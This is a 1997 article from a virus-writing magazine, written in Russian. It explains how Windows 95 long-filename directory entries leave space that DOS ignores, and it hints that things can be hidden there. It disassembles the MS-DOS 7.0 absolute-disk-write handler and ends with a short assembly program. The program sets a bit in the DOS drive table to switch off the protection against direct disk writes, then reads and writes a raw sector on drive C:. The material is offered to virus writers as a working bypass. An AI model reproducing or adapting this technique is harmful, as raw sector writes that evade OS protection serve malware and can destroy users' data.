▄▄ █ ▀▀▀ Virus Magazine █ Box 176, Kiev 210, Ukraine IV 1997 ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀ █▀▀▀▀▀▀█ ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█ ▌ █ ▄▀█ █ ▄▀▀ █▄▄ █ █ █ █ █ █ █ █▀ █▀ █ █ █▀ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ▐ ▐ ▐ ▐▄▄ ▐▄▄ ▐ ▐▄▄ ▐▄▀ ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄ █ █ █ █ ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ █▄▄▄▄▄▄█ (C) Copyright, 1994-97, by STEALTH group WorldWide, unLtd. Direct disk access under Win'95 Я не буду распростронятся о том кому и зачем нужен прямой доступ к дис- кам в MS-DOS 7.0 - это уже решать Вам. Я же перейду сразу к делу. Сначала немного о принципах записи с длинными именами. Смотрите (здесь представлены screen shortы из DiskEdit'ора). Над файлом EXITTO~1.PIF появи- лась странная конструкция .E.x.i.t. c отрибутами R/O Sys Hid Vol. Это и есть то самое длинное имя. Напомню что Win95 - система с поддержкой национальных алфавитов и символы кодируются двумя байтами. Таким образом для каждого файла с длинным именем есть область (где-то до 2 * 256 байт ( 256 - максимальная длинна имени ???) , которая системой в MS-DOS mode в принципе игнорируется. Уже догадались что сюда можно сунуть ??? Что-ж дерзайте. Name .Ext Size Date Time Cluster Arc R/O Sys Hid Dir Vol BI.F... 4294967295 31.15.07 31:63 0 R/O Sys Hid Vol .E.x.i.t . . 5242926 19.03.80 0:03 0 R/O Sys Hid Vol EXITTO~1 PIF 967 14.01.97 23:08 16140 Arc PROGRAMS GRP 9323 27.04.97 15:23 23250 Arc At.e.l.e .p. 105 14.03.80 0:03 0 R/O Sys Hid Vol TELEPHON INI 2280 27.04.97 15:36 16459 Arc Фрагмент каталога WINDOWS с моей машины Object Edit Link View Info Tools Help 00000F10: 00 00 9B 22 00 00 C0 48 - 7C 1F F2 3E 36 F8 01 00 ..Ы"...H|.╡>6╦.. 00000F20: 42 49 00 46 00 00 00 FF - FF FF FF 0F 00 23 FF FF BI.F... ..# 00000F30: FF FF FF FF FF FF FF FF - FF FF 00 00 FF FF FF FF .. 00000F40: 01 45 00 78 00 69 00 74 - 00 20 00 0F 00 23 54 00 .E.x.i.t. ...#T. 00000F50: 6F 00 20 00 44 00 6F 00 - 73 00 00 00 2E 00 50 00 o. .D.o.s.....P. 00000F60: 45 58 49 54 54 4F 7E 31 - 50 49 46 20 00 AD C4 BC EXITTO~1PIF .н.. 00000F70: 2E 22 9B 22 00 00 C5 BC - 2E 22 0C 3F C7 03 00 00 ."Ы".....".?.... 00000F80: 50 52 4F 47 52 41 4D 53 - 47 52 50 20 00 B3 F3 B6 PROGRAMSGRP ..╠├ 00000F90: 2E 22 9B 22 00 00 3A 7C - 9B 22 D2 5A 6B 24 00 00 ."Ы"..:|Ы".Zk$.. 00000FA0: 41 74 00 65 00 6C 00 65 - 00 70 00 0F 00 E9 68 00 At.e.l.e.p...щh. 00000FB0: 6F 00 6E 00 2E 00 69 00 - 6E 00 00 00 69 00 00 00 o.n...i.n...i... 00000FC0: 54 45 4C 45 50 48 4F 4E - 49 4E 49 20 00 7E F1 B6 TELEPHONINI .~ё├ То-же самое в HEX виде Однака в MS-DOS 7.0 появилась еще одна неприятная особенность. Програ- мисты Microsoft с понятной мне целью закрыли прямой доступ к разделам винчестера. Однако обойти это оказалось также просто как отобрать у ребенка конфету (Все, кто так говорят никогда не пытались это сделать). Ниже пред- ставлен фрагмент обработчика 26го прерывания (absolute disk write). AL - диск для записи (00 - A: 01 - B, 02 - C:) FF03:446A 3C 02 CMP AL, 2 ;AL < 2 FF03:446C 72 47 JB SHORT LOC_3 ;перейти к обработчику FF03:446E 53 PUSH BX FF03:446F 1E PUSH DS FF03:4470 2E: 8E 1E 3F27 MOV DS, WORD PTR CS:[3F27H] ; Dos Data segment FF03:4475 32 FF XOR BH, BH FF03:4477 8A D8 MOV BL, AL FF03:4479 F6 87 1308 80 TEST BYTE PTR DS:[1308H][BX], 80H ^^^^ смещение в Dos DS таблицы дисков.Установка старшего битa разрешает прямой доступ. FF03:447E 75 05 JNZ SHORT LOC_1 FF03:4480 F6 06 0086 40 TEST BYTE PTR DS:[86H], 40H ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Пока непонятный мне флаг. FF03:4485 LOC_1: FF03:4485 1F POP DS FF03:4486 5B POP BX FF03:4487 75 2C JNZ SHORT LOC_3 FF03:4489 FB STI FF03:448A B4 0D MOV AH, 0DH FF03:448C CD 21 INT 21H ; DOS Services ah=function 0Dh ; flush disk buffers to disk FF03:448E B8 0003 MOV AX, 3 FF03:4491 CD 10 INT 10H ; устанавилваем текстовой режим. FF03:4493 2B C0 SUB AX, AX FF03:4495 8E D8 MOV DS, AX FF03:4497 66| A1 0564 MOV EAX, DWORD PTR DS:[564H]; (0000:0564=0E987H) FF03:449B 66| A3 0024 MOV DWORD PTR DS:[24H], EAX ; (0000:0024=212H) FF03:449F 2E: 8E 1E 3F27 MOV DS, WORD PTR CS:[3F27H] ; (FF03:3F27=0C9H) FF03:44A4 B8 0002 MOV AX, 2 FF03:44A7 FF 1E 133A CALL DWORD PTR DS:[133AH] ; (00C9:133A=4C2H) FF03:44AB B8 0003 MOV AX, 3 FF03:44AE FF 1E 133A CALL DWORD PTR DS:[133AH] ; (00C9:133A=4C2H) Выводит сообщение System has desabled ... FF03:44B2 LOC_2: FF03:44B2 F4 HLT FF03:44B3 EB FD JMP SHORT LOC_2 ; Зависаем ... FF03:44B5 LOC_3: FF03:44B5 FA CLI ; А этот обработчик - просто копия FF03:44B6 50 PUSH AX ; старого из MS-DOS 6.22 FF03:44B7 8C D8 MOV AX, DS FF03:44B9 2E: 8E 1E 3F27 MOV DS, WORD PTR CS:[3F27H] ; DOS DS FF03:44BE A3 0D04 MOV WORD PTR DS:[0D04H], AX ; caller's DS FF03:44C1 58 POP AX FF03:44C2 06 PUSH ES FF03:44C3 8C 16 061B MOV WORD PTR DS:[61BH], SS ; Ставим SS:SP FF03:44C7 89 26 061D MOV WORD PTR DS:[61DH], SP ; FF03:44CB 2E: 8E 16 3F27 MOV SS,WORD PTR CS:[3F27H] ; FF03:44D0 BC 0920 MOV SP, 920H ну и так далее... Как видно из вышеприведенного кода под DOS7 работать так же просто как и раньше. Important : Все эти шутки с таблицой дисков работают только в Dos mode и напрочь отрубают виртуальную машину Win95 - иследованния продолжаются. В довешение маленький примерчик : .model TINY .code org 100h s: mov _ds,ds mov ah,52h int 21h ;Get List of Lists mov bx,1308h+2 or byte ptr es:[bx],80h ;Make disk writeable mov al,02 mov cx,-1 mov bx,offset data int 25h ;Полный кайф mov al,02 mov cx,-1 mov bx,offset data int 26h ret data dd 1000 ;sector dw 1 ;number to read dw buffer _ds dw ? buffer: db 32*1024 dup (?) ret end s Со всеми регадами Royal Hunter